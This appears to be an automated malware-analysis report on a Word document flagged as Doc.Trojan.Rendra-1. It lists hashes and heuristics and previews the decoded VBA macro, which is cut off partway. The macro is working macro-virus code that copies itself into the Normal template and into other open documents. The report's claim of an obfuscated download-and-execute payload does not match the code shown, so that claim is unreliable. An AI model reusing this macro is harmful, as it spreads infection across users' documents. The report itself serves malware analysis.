Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9415950605055109…

MALICIOUS

Office (OLE)

43.5 KB Created: 2009-08-22 12:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a38df1779728c244f060951924cdbc1a SHA-1: e027f4bdf84b14f2c891c799269a1160b181e521 SHA-256: 94159506050551094a894c8ef237d7c10f3be482ad2bd1702d012e9070b73444
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that is triggered by the Document_Open event. The macro appears to be designed to download and execute a secondary payload, as indicated by the ClamAV detection and the presence of obfuscated VBA code. The specific payload or download URL is not directly visible in the provided evidence, leading to a slightly reduced confidence in family attribution.

Heuristics 3

  • ClamAV: Doc.Trojan.Rendra-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Rendra-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24610 bytes
SHA-256: fe09f6b9fe52742bc243825a5a7593121ee066318c6ca5ef658f4871c8dac76e
Detection
ClamAV: Doc.Trojan.Rendra-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
'{ - This function should never be deleted - }
    
    Dim objet As Variant
    Dim objet2 As Variant
    Dim Var_Start, Var_Start2 As Long
    Dim Var_Count, Var_Count2 As Long
    
    'On Error Resume Next
        
    Set objet = NormalTemplate.VBProject.VBComponents.Item("ThisDocument")
    If Not objet.CodeModule.Find("'{ - This function should never be deleted - }", 1, 1, 1, 1) Then
        If objet.CodeModule.Find("Document_Open", 1, 1, 1, 1) Then
            Var_Start = objet.CodeModule.ProcBodyLine("Document_Open", vbext_pk_Proc)
            Var_Count = objet.CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
            For i = 1 To Var_Count
                objet.CodeModule.DeleteLines Var_Start
            Next
        End If
        If objet.CodeModule.Find("Document_New", 1, 1, 1, 1) Then
            Var_Start = objet.CodeModule.ProcBodyLine("Document_New", vbext_pk_Proc)
            Var_Count = objet.CodeModule.ProcCountLines("Document_New", vbext_pk_Proc)
            For i = 1 To Var_Count
                objet.CodeModule.DeleteLines Var_Start
            Next
            
        End If
        Var_Start = objet.CodeModule.CountOfLines + 1
        Set objet2 = Me.VBProject.VBComponents.Item("ThisDocument")
        Var_Start2 = objet2.CodeModule.ProcBodyLine("Document_Open", vbext_pk_Proc)
        Var_Count2 = objet2.CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
        objet.CodeModule.InsertLines Var_Start, _
                Chr(13) & _
                objet2.CodeModule.Lines(Var_Start2, Var_Count2)
        Var_Start = Var_Start + Var_Count2 + 1
        Var_Start2 = objet2.CodeModule.ProcBodyLine("Document_New", vbext_pk_Proc)
        Var_Count2 = objet2.CodeModule.ProcCountLines("Document_New", vbext_pk_Proc)
        objet.CodeModule.InsertLines Var_Start, _
                Chr(13) & _
                objet2.CodeModule.Lines(Var_Start2, Var_Count2)
        Var_Start = Var_Start + Var_Count2 + 1
        Var_Start2 = objet2.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
        Var_Count2 = objet2.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
        objet.CodeModule.InsertLines Var_Start, _
                 Chr(13) & _
                 objet2.CodeModule.Lines(Var_Start2, Var_Count2)
        'NormalTemplate.Save
    Else
        For Each Feuille In Application.Documents
            Set objet = Feuille.VBProject.VBComponents.Item("ThisDocument")
            If Not objet.CodeModule.Find("'{ - This function should never be deleted - }", 1, 1, 1, 1) Then
                If objet.CodeModule.Find("Document_Open", 1, 1, 1, 1) Then
                    Var_Start = objet.CodeModule.ProcBodyLine("Document_Open", vbext_pk_Proc)
                    Var_Count = objet.CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
                    For i = 1 To Var_Count
                        objet.CodeModule.DeleteLines Var_Start
                    Next
                End If
                If objet.CodeModule.Find("Document_New", 1, 1, 1, 1) Then
                    Var_Start = objet.CodeModule.ProcBodyLine("Document_New", vbext_pk_Proc)
                    Var_Count = objet.CodeModule.ProcCountLines("Document_New", vbext_pk_Proc)
                    For i = 1 To Var_Count
                        objet.CodeModule.DeleteLines Var_Start
                    Next
                End If
                If objet.CodeModule.Find("Document_Close", 1, 1, 1, 1) Then
                    Var_Start = objet.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
                    Var_Count = objet.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
                    For i = 1 To Var_Count
                        objet.CodeModule.DeleteL
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.